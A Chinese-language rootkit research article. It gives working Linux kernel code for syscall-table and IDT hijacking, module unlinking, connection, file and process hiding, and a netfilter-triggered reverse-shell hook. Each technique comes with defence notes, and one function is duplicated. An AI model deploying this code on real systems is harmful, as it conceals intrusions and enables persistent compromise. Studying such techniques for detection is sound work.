Rootkit Hacking Technology && Defence Strategy Research
目录
1. The Purpose Of Rootkit 2. Syscall Hijack 3. LKM Module Hidden 4. Network Communication Hidden 5. File Hidden 6. Process Hidden 7. Hidden Port Remote Reverse Connections 8. Programe Replacing
1. The Purpose Of Rootkit
Basically, the purpose of rootkit is as follows
1. The Purpose Of Rootkit 2. Syscall Hijack 3. LKM Module Hidden 4. Network Communication Hidden 5. File Hidden 6. Process Hidden 7. Hidden Port Remote Reverse Connections 8. Programe Replacing
从大的方向上来分类,当前的rootkit技术一个核心词就是"hook",围绕着怎么劫持、劫持谁这2个问题,衍生出了非常多的底层rootkit技术(有别于传统的应用层PATH劫持、指令程序替换重定向等技术)
1. VFS劫持(/proc下操作句柄劫持) 2. Kernel劫持(kernel中断劫持)
从架构层级上来看,Kernel比VFS的层级更低,使用kernel劫持方式能获得更加底层的劫持效果,但是相对的,现在也有很多kernel的劫持检测技术,为了规避这个问题,所以有的rootkit采用了VFS的劫持技术,以此来绕过kernel检测技术,但是因此付出的代价就是劫持的效果会下降
Relevant Link:
http://files.cnblogs.com/LittleHann/hook_the_kernel_WNPS.pdf
http://jaseywang.me/2011/01/04/vfs-kernel-space-user-space-2/
2. Syscall Hijack
0x1: SYS_CALL_TABLE Functions Address Pointer Hook Hijack
By directly replacing the system call function table pointer address, in order to achieve the purpose of system call hijacking
code
/* 1. 通过"中断寄存器"获取中断描述符表(IDT)的地址(使用C ASM汇编) */ asm("sidt %0":"=m"(idt48)); /* 2. 从中查找0x80中断("0x80中断"就是"系统调用中断")的服务例程(8*0x80偏移) "中断描述符表(IDT)"中有很多项,每项8个字节,而第0x80项才是系统调用对应的中断 struct descriptor_idt { unsigned short offset_low; unsigned short ignore1; unsigned short ignore2; unsigned short offset_high; }; static struct { unsigned short limit; unsigned long base; }__attribute__ ((packed)) idt48; */ pIdt80 = (struct descriptor_idt *)(idt48.base + 8*0x80); system_call_addr = (pIdt80->offset_high << 16 | pIdt80->offset_low); /* 3. 搜索该例程的内存空间,获取"系统调用函数表"的地址("系统调用函数表"根据系统调用号作为索引保存了linux系统下的所有系统调用的入口地址) */ for (i=0; i<100; i++) { if (p=='\xff' && p[i+1]=='\x14' && p[i+2]=='\x85') { sys_call_table = *(unsigned int*)(p+i+3); printk("addr of sys_call_table: %x\n", sys_call_table); return ; } } /* 4. 将sys_call_table作为基址,根据系统调用号作为索引,替换指定的系统调用的函数地址指针(替换前需要获取原始的系统调用地址,在hook函数执行完毕后要将控制流继续导向原始系统调用而不影响系统运行) */ orig_read = sys_call_table[__NR_read]; orig_getdents64 = sys_call_table[__NR_getdents64]; .. replace ..
攻击前提
1. 黑客已经获取了root帐号的权限 2. 黑客能够有权限执行insmod加载LKM驱动
防御策略
1. 枚举内核空间中的系统调用表(一个全局变量)的每一项是否都处于内核text节区中 Detect any syscall address from the global table that is outside kernel text section 1) KJ_SYSCALL_TABLE_SYM 2) KJ_MODULE_KSET_SYM 3) KJ_CORE_KERN_TEXT_SYM
0x2: Int 0x80 Interrupt Handler Hook Hijack Based On IDT Register
相比与系统调用表劫持技术,80中断劫持技术将hook点选在了代码逻辑的更上游的地方,关于系统调用劫持和80中断表劫持的区别,如下图所示
code
/* 1. 通过"中断寄存器"获取中断描述符表(IDT)的地址(使用C ASM汇编) */ asm("sidt %0":"=m"(idt48)); /* 2. 从中查找0x80中断("0x80中断"就是"系统调用中断")的服务例程(8*0x80偏移) "中断描述符表(IDT)"中有很多项,每项8个字节,而第0x80项才是系统调用对应的中断 struct descriptor_idt { unsigned short offset_low; unsigned short ignore1; unsigned short ignore2; unsigned short offset_high; }; static struct { unsigned short limit; unsigned long base; }__attribute__ ((packed)) idt48; */ pIdt80 = (struct descriptor_idt *)(idt48.base + 8*0x80); system_call_addr = (pIdt80->offset_high << 16 | pIdt80->offset_low); /* 3. 搜索该例程的内存空间,获取"系统调用函数表"的地址("系统调用函数表"根据系统调用号作为索引保存了linux系统下的所有系统调用的入口地址) */ for (i=0; i<100; i++) { if (p=='\xff' && p[i+1]=='\x14' && p[i+2]=='\x85') { sys_call_table = *(unsigned int*)(p+i+3); printk("addr of sys_call_table: %x\n", sys_call_table); return ; } } /* 4. 将sys_call_table作为基址,根据系统调用号作为索引,获取指定的系统调用的函数地址指针,因为我们通过劫持80中断进而达到系统调用劫持的目的后,还需要将代码控制流重新导向原始的系统调用 */ orig_read = sys_call_table[__NR_read]; orig_getdents64 = sys_call_table[__NR_getdents64]; .. replace .. /* 5. 直接替换IDT中的某一项,也就是我们需要通过代码模拟原本"系统调用中断例程(IDT[0x80])"的代码逻辑 */ void new_idt(void) { ASMIDType ( "cmp %0, %%eax \n" "jae syscallmala \n" "jmp hook \n" "syscallmala: \n" "jmp dire_exit \n" : : "i" (NR_syscalls) ); } .. void hook(void) { register int eax asm("eax"); switch(eax) { case __NR_getdents64: CallHookedSyscall(Sys_getdents64); break; case __NR_read: CallHookedSyscall(Sys_read); break; default: JmPushRet(dire_call); break; } //jmp to original syscall idt handler JmPushRet( after_call ); }
攻击前提
1. 黑客已经获取了root帐号的权限 2. 黑客能够有权限执行insmod加载LKM驱动
防御策略
1. 不管是"系统调用表劫持",还是IDT 0x80中断劫持,最终rootkit都需要系统调用表的入口地址进行篡改(IDT 0x80中断劫持只是为了提高hook代码的易管理性、可扩展性),所以对"IDT 0x80中断劫持"的防御和"系统调用表劫持" 的防御策略是一样的 2. 枚举内核空间中的系统调用表(一个全局变量)的每一项是否都处于内核text节区中 Detect any syscall address from the global table that is outside kernel text section 1) KJ_SYSCALL_TABLE_SYM 2) KJ_MODULE_KSET_SYM 3) KJ_CORE_KERN_TEXT_SYM 3. 使用汇编级检查技术,检测IDT[0x80]的地址是否遭到了篡改,即和标准的中断例程的入口的汇编指令不同 标准的IDT 0x80例程入口如下 \linux-2.6.32.63\arch\x86\kernel\entry_32.S ENTRY(system_call) RING0_INT_FRAME ASM_CLAC pushl_cfi %eax SAVE_ALL GET_THREAD_INFO(%ebp) testl $_TIF_WORK_SYSCALL_ENTRY,TI_flags(%ebp) jnz syscall_trace_entry cmpl $(NR_syscalls), %eax jae syscall_badsys //0x0f 0x83 syscall_call: call *sys_call_table(,%eax,4) //0xff 0x14 0x85 <addr4> <addr3> <addr2> <addr1> movl %eax,PT_EAX(%esp) # store the return value 被rootkit劫持了IDT之后改变如下 cmpl $(NR_syscalls), %eax jae syscall_badsys //0x0f 0x83 被替换为: pushl addr_of_new_idt => 0x68 ((void *) new_idt) ret => 0xc3
Relevant Link:
http://blog.aliyun.com/948 http://blog.csdn.net/zhl1224/article/details/5847381 http://www.hacker.com.cn/uploadfile/2014/0228/20140228103318644.pdf
0x3: Int 0x80 Interrupt Handler Hook Hijack Based On Fast System Call - sysenter(Intel)
除了借助IDT寄存器通过内联汇编指令获取到80中断(系统调用对应的中断)这个方法之外,Intel CPU还支持Fast System Call - sysenter的方式获取系统调用例程的入口地址(根据系统调用号进行具体系统调用派发的例程)
code
/* 1. check if SEP is supported in current system 可以通过: cat /proc/cpuinfo | grep sep来判断当前系统是否支持SEP if supported, get sysenter address via: "rdmsr(MSR_IA32_SYSENTER_EIP, psysenter_entry, v2);" */ if (boot_cpu_has(X86_FEATURE_SEP)) { rdmsr(MSR_IA32_SYSENTER_EIP, psysenter_entry, v2); } /* 2. 如果当前系统不支持SEP,则直接通过原始的方法去搜索/proc/kallsyms(内核符号导出表) search in /proc/kallsyms for fast system call mark "sysenter_entry" or " syscall_call" */ else { sysenter = read_kallsyms(); } /* 3. 通过sysenter劫持IDT中"系统调用中断例程的入口地址" */ 标准的IDT 0x80例程入口如下 \linux-2.6.32.63\arch\x86\kernel\entry_32.S ENTRY(system_call) RING0_INT_FRAME ASM_CLAC pushl_cfi %eax SAVE_ALL GET_THREAD_INFO(%ebp) testl $_TIF_WORK_SYSCALL_ENTRY,TI_flags(%ebp) jnz syscall_trace_entry cmpl $(NR_syscalls), %eax jae syscall_badsys //0x0f 0x83 syscall_call: call *sys_call_table(,%eax,4) //0xff 0x14 0x85 <addr4> <addr3> <addr2> <addr1> movl %eax,PT_EAX(%esp) # store the return value 被rootkit劫持了IDT之后改变如下 cmpl $(NR_syscalls), %eax jae syscall_badsys //0x0f 0x83 被替换为: pushl addr_of_new_idt => 0x68 ((void *) new_idt) ret => 0xc3 /* 4. 当执行完我们的hook_idt_handler之后,程序流会返回执行原始的syscall汇编代码 */ syscall_call: call *sys_call_table(,%eax,4) movl %eax,PT_EAX(%esp) # store the return value
攻击前提
1. 当前系统支持SEP、或者在编译内核的时候开启了kallsyms开关 2. 黑客已经获取了root帐号的权限 3. 黑客能够有权限执行insmod加载LKM驱动
防御策略
和"Int 0x80 Interrupt Handler Hook Hijack Based On IDT Register"的防御策略相同
0x4: Kprobe Callback Function Register Hooking
使用linux系统提供的原生系统调用执行回调机制: Kprobe技术进行系统调用的Hooking,Kprobe机制可以使rootkit有能力在系统调用执行的前、后进行串行式的检测和过滤(Kprobe拿到的数据结构就是原始的内核拿到的参数指针)
关于Kprobe的相关原理请参阅另一篇文章 http://www.cnblogs.com/LittleHann/p/3854977.html (搜索: 利用Linux内核机制kprobe机制(kprobes, jprobe和kretprobe)进行系统调用Hook)
攻击前提
1. 黑客已经获取了root帐号的权限 2. 黑客能够有权限执行insmod加载LKM驱动
防御策略
1. Kprobe是linux提供的原生的监控机制,但是目前并没有提供检测Kprobe_register挂钩情况的API,本来Kprobe诞生的时候就是为了监控的目的,并没有设计用来rootkit、rootkit检测等目的 2. 检测当前系统是否处于Kprobe监控状态只能采取别的hacking的方法: 通过枚举kprobe的全局HASH链表,检查是否有白名单之外的系统调用监控(因为系统管理员自己可能也使用kprobe进行系统监控)
Relevant Link:
http://blog.chinaunix.net/uid-22227409-id-3420260.html
0x5: Linux LSM(linux security module) Function Register Hooking
LSM Selinux是linux提供的原生的程序流串行决策检查机制,程序员通过对指定的系统调用数据结构注册回调函数,能够在系统调用的执行流程上进行安全访问控制
code
//设置security_operations结构体,指明需要注册的LSM钩子函数 static struct security_operations test_security_ops = { .name = "test", .file_permission = test_file_permission, }; //注册LSM钩子函数 register_security(&test_security_ops)
攻击前提
1. 当前linux服务端在编译内核时开启了SELINUX开关 2. 当前linux服务器配置信息中开启了SELINUX选项:修改/etc/selinux/config文件中的SELINUX=""为enabled ,然后重启 3. 黑客已经获取了root帐号的权限 4. 黑客能够重新编译内核并重启机器
防御策略
未知(待研究)
0x6: Linux LSM(linux security module) Function Adress Hijaking
LSM模块在所有验证函数中都调用了security_ops的函数指针,这样,security_ops被定义为一个全局变量的话,rootkit很容易就可以将security_ops变量导出,然后替换为自己的fake函数,LSM框架很容易就被摧毁掉,从而达到函数指针hook劫持的目的
code
extern struct security_operations *security_ops; struct security_operations *fake_security_ops; int fake_file_mmap(struct file *file, unsigned long reqprot, unsigned long prot, unsigned long flags) { printk("in fake_file_mmap.\n"); return 0; } fake_security_ops = security_ops; fake_security_ops->file_mmap = fake_file_mmap; security_ops = fake_security_ops; security_ops->file_mmap(NULL, 0, 0, 0);
攻击前提
1. 当前linux服务端在编译内核时开启了SELINUX开关 2. 当前linux服务器配置信息中开启了SELINUX选项:修改/etc/selinux/config文件中的SELINUX=""为enabled ,然后重启 3. 黑客已经获取了root帐号的权限 4. 黑客能够有权限执行insmod加载LKM驱动
防御策略
未知(待研究)
3. LKM Module Hidden
枚举LKM模块的方法有
1. VFS方法: cat /proc/module: 直接读取/proc/module下的项 2. ring3方法: lsmod: 本质还是在读取/proc/module,做了一个代码封装,提供给用户一个良好的接口和界面 3. LKM方法: 直接通过kernel module枚举struct module->list 4. LKM方法: 直接通过kernel module枚举struct module->mkobj->kobj->entry 5. lKM方法: 直接通过kernel module枚举module->mkobj->kobj->kset
0x1: Module Hidden Based On list_del Kernel Double-Way List"struct module->list" Item && kobject_del module_kobject "struct module->mkobj->kobj->entry" Item
这属于基于linux kernel object断链隐藏的思想(windows下也有类似的方法),linux将系统核心的调度、LKM信息都放在了内核中的某段内存区域中,而对于进程、LKM模块这类信息在内核中都是通过一个双向循环链表进行保存的
关于内核中LKM链表的相关知识,请参阅另一篇文章
http://www.cnblogs.com/LittleHann/p/3865490.html (搜索: struct module)
code
/* 1. 在模块加载的入口的位置,就进行"断链"操作 1) 将当前模块的module直接从内核LKM双链表: list中删除 2) 将当前模块的kobject直接从kernel module kobject双链表: mkobj.kobj.entry中删除 */ int wnps_init(void) { struct module *m = &__this_module; struct proc_dir_entry *my_dir_entry = proc_net->subdir; if (m->init == wnps_init) { list_del(&m->list); kobject_del(m->mkobj.kobj); list_del(m->mkobj.kobj.entry); } .. } module_init(wnps_init);
攻击前提
1. 黑客已经获取了root帐号的权限 2. 黑客能够有权限执行insmod加载LKM驱动
防御策略
1. lKM方法: 直接通过kernel module枚举module->mkobj->kobj->kset
4. Network Communication Hidden
0x1: Network Communication Hidden Based On /proc/net/tcp/ Operation Handler Hooking(VFS Hook)
code
/* 1. 获取/proc/net/tcp这个目录的"显示函数"的句柄 */ /* 2. 劫持/proc/net/tcp的"显示函数"的函数 */ struct tcp_seq_afinfo *my_afinfo = NULL; while (strcmp(my_dir_entry->name, "tcp")) { my_dir_entry = my_dir_entry->next; } if((my_afinfo = (struct tcp_seq_afinfo*)my_dir_entry->data)) { //保留原始的/proc/net/tcp列表 old_tcp4_seq_show = my_afinfo->seq_show; /* 将/proc/net/tcp替换为"hacked_tcp4_seq_show",这个函数会根据配置文件隐藏指定tcp连接记录 */ my_afinfo->seq_show = hacked_tcp4_seq_show; } /* 3. 在劫持函数中根据配置文件对指定的tcp连接进行过滤 本质上: cat /proc/net/tcp就是在调用/proc/net/tcp->seq_show这个函数) */ int hacked_tcp4_seq_show(struct seq_file *seq, void *v) { int retval = old_tcp4_seq_show(seq, v); char port[12]; sprintf(port,"%04X",ntohs(myowner_port)); /* 过滤(屏蔽)掉指定的tcp连接状态 */ if(strnstr(seq->buf + seq->count - TMPSZ, port, TMPSZ) { seq->count -= TMPSZ; } return retval; }
攻击前提
1. 黑客已经获取了root帐号的权限 2. 黑客能够有权限执行insmod加载LKM驱动
防御策略
1. 使用VFS Hooking的逆向思路,通过检查/proc/net/tcp->seq_show(操作句柄)是否位于内核text节区中来判断是否发生了VFS劫持
0x2: Network Communication Hidden Based On Netfilter Callback Function Register
Netfilter是linux提供的一种网络连接状态监控机制,Netfilter运行在内核态,并在链式处理流程的关键位置提供了注册回调点,方便内核开发人员开发基于网络连接监控的应用
关于netfilter的相关知识,请参阅另一篇文章
http://www.cnblogs.com/LittleHann/p/3708222.html
code
/* 1. 置netfilter回调监控函数的相关信息 */ int netfilter_test_init(void) { nfho.hook = hook_func; nfho.owner = NULL; nfho.pf = PF_INET; //NF_IP_PRE_ROUTING: 在数据报进入内核协议栈进行处理之前注册回调点 nfho.hooknum = NF_IP_PRE_ROUTING; nfho.priority = NF_IP_PRI_FIRST; nf_register_hook(&nfho); return 0; } /* 2. 将设置好的hook函数注册到netfilter的回调点上 */ int nf_register_hook(struct nf_hook_ops *reg) { struct nf_hook_ops *elem; int err; err = mutex_lock_interruptible(&nf_hook_mutex); if (err < 0) { return err; } list_for_each_entry(elem, &nf_hooks[reg->pf][reg->hooknum], list) { if (reg->priority < elem->priority) { break; } } list_add_rcu(®->list, elem->list.prev); mutex_unlock(&nf_hook_mutex); #if defined(CONFIG_JUMP_LABEL) static_key_slow_inc(&nf_hooks_needed[reg->pf][reg->hooknum]); #endif return 0; } /* 3. 在监控函数中hook_funcn中,通过监控关键字"TCP_SHELL_KEY",实现无连接方式shell激活(告诉rootkit lkm现在可以准备开始启动反向连接shell了) */ .. if ((p = strstr(data, TCP_SHELL_KEY)) != NULL) { .. //获取激活包发送方的IP地址(即反向连接的目的地:肉鸡的主控方的IP地址) myowner_ip = sk->nh.iph->saddr; .. //获取激活包发送方的端口(即反向连接的目的地:肉鸡的主控方所监听的socket端口) connect_port = wnps_atoi(port); .. //这个标识表示当前已经开启反向连接激活模式 wztshell = 1; .. }
攻击前提
1. 黑客已经获取了root帐号的权限 2. 黑客能够有权限执行insmod加载LKM驱动
防御策略
1. 定位struct list_head nf_hooks[NPROTO][NF_MAX_HOOKS] 1) 通过kj_kernel_symbol_lookup直接得到nf_hooks的内核地址 2) 通过/proc/kallsyms得到nf_hooks的内核地址 2. 通过遍历循环双链表枚举结构体数组的每一项 3. 获得每一个注册函数的钩子,并判断其所属的模块(通过__module_address()进行反向定位) 4. 如果定位失败则说明当前钩子函数为恶意模块注册的hook函数
Relevant Link:
http://www.docin.com/p-53234562.html
5. File Hidden
0x1: File Hidden Based On Replace Hook sys_open、sys_access system call
在使用LD_PRELOAD技术向Linux下所有启动中的进程注入.so文件进行hook,由于LD_PRELOAD是操作系统原生提供的机制,我们无法从Ring3应用层来控制hook注入的过滤,要达到针对某些特定进程不进行hook操作,需要配合Ring0层驱动来进行实现
1. 对sys_open进行hook 2. 判断当前进程 (current->comm == target_process) {} 3. 判断当前打开文件 //long my_sys_open(const char __user *filename, int flags, int mode) if(filename == "/etc/ld.so.preload" || filename == "target_so_path") { //重定向(重新赋值)filename filename = "new_so_path"; } 或者对sys_access进行hook,让目标进程access("/etc/ld.so.preload", R_OK)的时候执行失败,达到绕过加载Hook SO的情况 4. 则将filename指针重定向指向另一个空的、格式正确的空壳.so文件 5. 完成这步操作之后,指定目标进程在根据LD_PRELOAD路径打开的.so文件就是一个没有任何hook功能的空壳文件
code
#include <linux/module.h> #include <linux/init.h> #include <linux/types.h> #include <asm/uaccess.h> #include <asm/cacheflush.h> #include <linux/syscalls.h> #include <linux/delay.h> // loops_per_jiffy #include <linux/proc_fs.h> #include <linux/string.h> #include <linux/cred.h> #include <linux/fs.h> #include <linux/fcntl.h>//for O_RDONLY #include <linux/limits.h>//for PATH_MAX #include <linux/mount.h> #include <linux/fdtable.h> #include <linux/stat.h> #include <linux/namei.h> #include <linux/sched.h> #define CR0_WP 0x00010000 // Write Protect Bit (CR0:16) #define BUF_SIZE 1024 /* Just so we do not taint the kernel */ MODULE_LICENSE("GPL"); void **syscall_table; unsigned long **find_sys_call_table(void); long (*orig_sys_open)(const char __user *filename, int flags, int mode); long (*ori_sys_access)(const char __user *filename, int mode); unsigned long **find_sys_call_table() { unsigned long ptr; unsigned long *p; for (ptr = (unsigned long)sys_close; ptr < (unsigned long)&loops_per_jiffy; ptr += sizeof(void *)) { p = (unsigned long *)ptr; if (p[__NR_close] == (unsigned long)sys_close) { printk(KERN_DEBUG "Found the sys_call_table!!!\n"); return (unsigned long **)p; } } return NULL; } unsigned long getInodeIDbyFilename(const char *filename) { unsigned long proc_ino = 0; struct file *filp = filp_open(filename, O_RDONLY, 0); if( !IS_ERR(filp) ) { proc_ino = filp->f_dentry->d_inode->i_ino; filp_close(filp, 0); } else { proc_ino = 0; } return proc_ino; } long my_sys_open(const char __user *filename, int flags, int mode) { long ret; unsigned long target_so_path_ino; unsigned long current_proc_ino; const char *new_filename = "/home/zhenghan.zh/hook.so"; char target_so_path[512] = {0}; char buffer_filename[512] = {0}; char current_process[512] = {0}; //将用户态的filename拷贝到内核态,防止出现panic copy_from_user((char *)buffer_filename, filename, 512); //设置要修复的目标受保护路径 sprintf(target_so_path, "/home/zhenghan.zh/target.so"); //获取当前调用进程名 sprintf(current_process, current->comm); printk("current_process: %s opening: %s\n", current_process, buffer_filename); //获取指定路径的inode id current_proc_ino = getInodeIDbyFilename(buffer_filename); target_so_path_ino = getInodeIDbyFilename(target_so_path); //如果是tubo进程 if ( strcmp(current_process, "test") == 0) { //匹配当前打开文件路径 if ( (current_proc_ino == target_so_path_ino) ) { //重定向当前打开文件的 ret = orig_sys_open(new_filename, flags, mode); } else { ret = orig_sys_open(filename, flags, mode); } } else { ret = orig_sys_open(filename, flags, mode); } return ret; } long my_sys_open(const char __user *filename, int flags, int mode) { long ret; unsigned long target_so_path_ino; unsigned long current_proc_ino; const char *new_filename = "/home/zhenghan.zh/hook.so"; char target_so_path[512] = {0}; char buffer_filename[512] = {0}; char current_process[512] = {0}; //将用户态的filename拷贝到内核态,防止出现panic copy_from_user((char *)buffer_filename, filename, 512); //设置要修复的目标受保护路径 sprintf(target_so_path, "/home/zhenghan.zh/target.so"); //获取当前调用进程名 sprintf(current_process, current->comm); printk("current_process: %s opening: %s\n", current_process, buffer_filename); //获取指定路径的inode id current_proc_ino = getInodeIDbyFilename(buffer_filename); target_so_path_ino = getInodeIDbyFilename(target_so_path); //如果是tubo进程 if ( strcmp(current_process, "test") == 0) { //匹配当前打开文件路径 if ( (current_proc_ino == target_so_path_ino) ) { //重定向当前打开文件的 ret = orig_sys_open(new_filename, flags, mode); } else { ret = orig_sys_open(filename, flags, mode); } } else { ret = orig_sys_open(filename, flags, mode); } return ret; } long my_sys_access(const char __user *filename, int mode) { long ret; unsigned long target_so_path_ino; unsigned long current_proc_ino; const char *new_filename = "/home/zhenghan.zh/hook.so"; char target_so_path[512] = {0}; char buffer_filename[512] = {0}; char current_process[512] = {0}; //将用户态的filename拷贝到内核态,防止出现panic copy_from_user((char *)buffer_filename, filename, 512); //设置要修复的目标受保护路径 sprintf(target_so_path, "/home/zhenghan.zh/target.so"); //获取当前调用进程名 sprintf(current_process, current->comm); printk("current_process: %s opening: %s\n", current_process, buffer_filename); //获取指定路径的inode id current_proc_ino = getInodeIDbyFilename(buffer_filename); target_so_path_ino = getInodeIDbyFilename(target_so_path); //如果是tubo进程 if ( strcmp(current_process, "test") == 0) { //匹配当前打开文件路径 if ( (current_proc_ino == target_so_path_ino) ) { //重定向当前打开文件的 ret = orig_sys_open(new_filename, flags, mode); } else { ret = ori_sys_access(filename, mode); } } else { ret = ori_sys_access(filename, mode); } return ret; } static int __init syscall_init(void) { int ret; unsigned long addr; unsigned long cr0; syscall_table = (void **)find_sys_call_table(); if (!syscall_table) { printk(KERN_DEBUG "Cannot find the system call address\n"); return -1; } cr0 = read_cr0(); write_cr0(cr0 & ~CR0_WP); //将syscall_table附近的3个内存页(page)的内存页面的读写权限打开, addr = (unsigned long)syscall_table; ret = set_memory_rw(PAGE_ALIGN(addr) - PAGE_SIZE, 3); if(ret) { printk(KERN_DEBUG "Cannot set the memory to rw (%d) at addr %16lX\n", ret, PAGE_ALIGN(addr) - PAGE_SIZE); } else { printk(KERN_DEBUG "3 pages set to rw"); } orig_sys_open = syscall_table[__NR_open]; ori_sys_access = syscall_table[__NR_access]; syscall_table[__NR_open] = my_sys_open; syscall_table[__NR_access] = my_sys_access; write_cr0(cr0); return 0; } static void __exit syscall_release(void) { unsigned long cr0; cr0 = read_cr0(); write_cr0(cr0 & ~CR0_WP); syscall_table[__NR_open] = orig_sys_open; syscall_table[__NR_access] = ori_sys_access; write_cr0(cr0); } module_init(syscall_init); module_exit(syscall_release);
0x2: File Hidden Based On Hajaking sys_getdents64 System Call
在系统调用劫持(Syscall Hijack)的基础上,通过劫持Sys_getdents64可以达到文件隐藏、进程隐藏的目的。这里的关键在于
1. linux下的进程枚举 1) ps 2) top 2. linux下目录、文件枚举 1) ll 2) ls 这些系统指令到了内核系统调用这个层面,全都需要通过"getdents64"这个系统调用进行实现
我们在劫持了Sys_getdents64系统调用之后,在劫持函数中加入判断逻辑,对指定的要隐藏的进程或者文件进行"清空buf(清空保存进程或目录枚举项的结构体缓冲区)"
code
/* 1. 通过"中断寄存器"获取中断描述符表(IDT)的地址(使用C ASM汇编) */ asm("sidt %0":"=m"(idt48)); /* 2. 从中查找0x80中断("0x80中断"就是"系统调用中断")的服务例程(8*0x80偏移) */ pIdt80 = (struct descriptor_idt *)(idt48.base + 8*0x80); system_call_addr = (pIdt80->offset_high << 16 | pIdt80->offset_low); /* 3. 搜索该例程的内存空间,获取"系统调用函数表"的地址("系统调用函数表"根据系统调用号作为索引保存了linux系统下的所有系统调用的入口地址) */ /* 4. 将sys_call_table作为基址,根据系统调用号作为索引,替换指定的系统调用的函数地址指针(替换前需要获取原始的系统调用地址,在hook函数执行完毕后要将控制流继续导向原始系统调用而不影响系统运行) */ orig_read = sys_call_table[__NR_read]; orig_getdents64 = sys_call_table[__NR_getdents64]; /* 5. we get the orig information by orig_getdents64 */ struct dirent64 *td1, *td2; ret = (*orig_getdents64) (fd, dirp, count); td2 = (struct dirent64 *) kmalloc(ret, GFP_KERNEL); //copy the dirp struct to kernel space __copy_from_user(td2, dirp, ret); /* 6. 隐藏对当前进程的枚举 1) 通过current宏获取当前进程号 2) 从dirent64获取当前正在枚举的进程号(d_name) 3) 如果相等则说明需要隐藏 4) 对当前dirent64的指定数据区域进行清空(置零),即起到隐藏的目的 */ /* 7. 隐藏对指定特征文件的枚举 1) 从dirent64获取当前正在枚举的文件名(d_name) 2) 和我们配置的文件名特征码(例如wnps_)作比较 3) 如果命中则说明需要隐藏 4) 对当前dirent64的指定数据区域进行清空(置零),即起到隐藏的目的 */ asmlinkage long Sys_getdents64(unsigned int fd, struct dirent64 *dirp, unsigned int count) { struct dirent64 *td1, *td2; long ret, tmp; unsigned long hpid, nwarm; short int hide_process, hide_file; /* first we get the orig information */ ret = (*orig_getdents64) (fd, dirp, count); if (!ret) { return ret; } /* get some space in kernel */ td2 = (struct dirent64 *) kmalloc(ret, GFP_KERNEL); if (!td2) { return ret; } /* copy the dirp struct to kernel space */ __copy_from_user(td2, dirp, ret); td1 = td2, tmp = ret; while (tmp > 0) { tmp -= td1->d_reclen; hide_file = 1; hide_process = 0; hpid = 0; hpid = simple_strtoul(td1->d_name, NULL, 10); /* If we got a file like digital,it may be a task in the /proc. So check the task with the task pid. */ if (hpid != 0) { struct task_struct *htask = current; do { if(htask->pid == hpid) { break; } else { htask = next_task(htask); } } while (htask != current); /* we get the task which will be hide */ if (((htask->pid == hpid) && (strstr(htask->comm, HIDE_TASK) != NULL))) { hide_process = 1; } } if ((hide_process) || (strstr(td1->d_name, HIDE_FILE) != NULL)) { ret -= td1->d_reclen; hide_file = 0; /* we cover the task information */ if (tmp) { memmove(td1, (char *) td1 + td1->d_reclen, tmp); } } /* we hide the file */ if ((tmp) && (hide_file)) { td1 = (struct dirent64 *) ((char *) td1 + td1->d_reclen); } } nwarm = __copy_to_user((void *) dirp, (void *) td2, ret); kfree(td2); return ret; }
攻击前提
1. 黑客已经获取了root帐号的权限 2. 黑客能够有权限执行insmod加载LKM驱动
防御策略
1. 枚举内核空间中的系统调用表(一个全局变量)的每一项是否都处于内核text节区中 Detect any syscall address from the global table that is outside kernel text section 1) KJ_SYSCALL_TABLE_SYM 2) KJ_MODULE_KSET_SYM 3) KJ_CORE_KERN_TEXT_SYM
0x3: File Hidden Based On Directory Operation Handler Hooking(VFS Hook)
VFS Hooking技术的层次位于Kernel Hooking的上层(也意味着它的隐藏效果会更差一点),但是我们也必须明白,攻防技术并不是绝对的,关键是我们需要明确我们所使用的技术所在的层次、能做到什么、不能做到什么、有哪些特性和限制
关于VFS技术,我们需要简单了解下几个基本的概念
1. 虚拟文件系统,它为应用程序员提供一层抽象,屏蔽底层各种文件系统的差异。Linux的文件系统采用面向对象的方式设计,这使得Linux的文件系统非常容易扩展,我们可以非常容易将一个新的文件系统添加到Linux中 2. 在linux中所有的设备、磁盘文件都被抽象为"文件"看待,即"一切皆文件" 3. 结构体file_operations在头文件 linux/fs.h中定义 用来存储驱动内核模块提供的对设备进行各种操作的函数的指针。该结构体的每个域都对应着驱动内核模块用来处理某个被请求的事务的函数的地址 struct file_operations { struct module *owner; loff_t (*llseek) (struct file *, loff_t, int); ssize_t (*read) (struct file *, char __user *, size_t, loff_t *); ssize_t (*write) (struct file *, const char __user *, size_t, loff_t *); ssize_t (*aio_read) (struct kiocb *, const struct iovec *, unsigned long, loff_t); ssize_t (*aio_write) (struct kiocb *, const struct iovec *, unsigned long, loff_t); int (*readdir) (struct file *, void *, filldir_t); unsigned int (*poll) (struct file *, struct poll_table_struct *); int (*ioctl) (struct inode *, struct file *, unsigned int, unsigned long); long (*unlocked_ioctl) (struct file *, unsigned int, unsigned long); long (*compat_ioctl) (struct file *, unsigned int, unsigned long); int (*mmap) (struct file *, struct vm_area_struct *); int (*open) (struct inode *, struct file *); int (*flush) (struct file *, fl_owner_t id); int (*release) (struct inode *, struct file *); int (*fsync) (struct file *, struct dentry *, int datasync); int (*aio_fsync) (struct kiocb *, int datasync); int (*fasync) (int, struct file *, int); int (*lock) (struct file *, int, struct file_lock *); ssize_t (*sendpage) (struct file *, struct page *, int, size_t, loff_t *, int); unsigned long (*get_unmapped_area)(struct file *, unsigned long, unsigned long, unsigned long, unsigned long); int (*check_flags)(int); int (*flock) (struct file *, int, struct file_lock *); ssize_t (*splice_write)(struct pipe_inode_info *, struct file *, loff_t *, size_t, unsigned int); ssize_t (*splice_read)(struct file *, loff_t *, struct pipe_inode_info *, size_t, unsigned int); int (*setlease)(struct file *, long, struct file_lock **); };
VFS Hooking技术的核心思想就是通过替换、以此达到在文件系统这个层面劫持系统的目录隐藏、进程隐藏、网络状态隐藏
code
/* 1. 新建一个666权限的/proc/wnps目录 */ proc_rtkit = create_proc_entry("wnps", 0666, NULL); if (proc_rtkit == NULL) { return 0; } /* 2. 通过新创建的/proc/wnps获取父目录 */ proc_root = proc_rtkit->parent; if (proc_root == NULL || strcmp(proc_root->name, "/proc") != 0) { return 0; } /* 3. 设置内存页可读可写,保存原始操作句柄,并替换/proc目录的枚举函数句柄(readdir) */ proc_fops = ((struct file_operations *) proc_root->proc_fops); proc_readdir_orig = proc_fops->readdir; set_addr_rw(proc_fops); proc_fops->readdir = proc_readdir_new; set_addr_ro(proc_fops); /* 4. 在劫持函数中加入文件名判断逻辑,对符合文件名特征的枚举动作进行过滤 */ if (hide_files && (!strncmp(name, "__rt", 4) || !strncmp(name, "10-__rt", 7))) { return 0; }
攻击前提
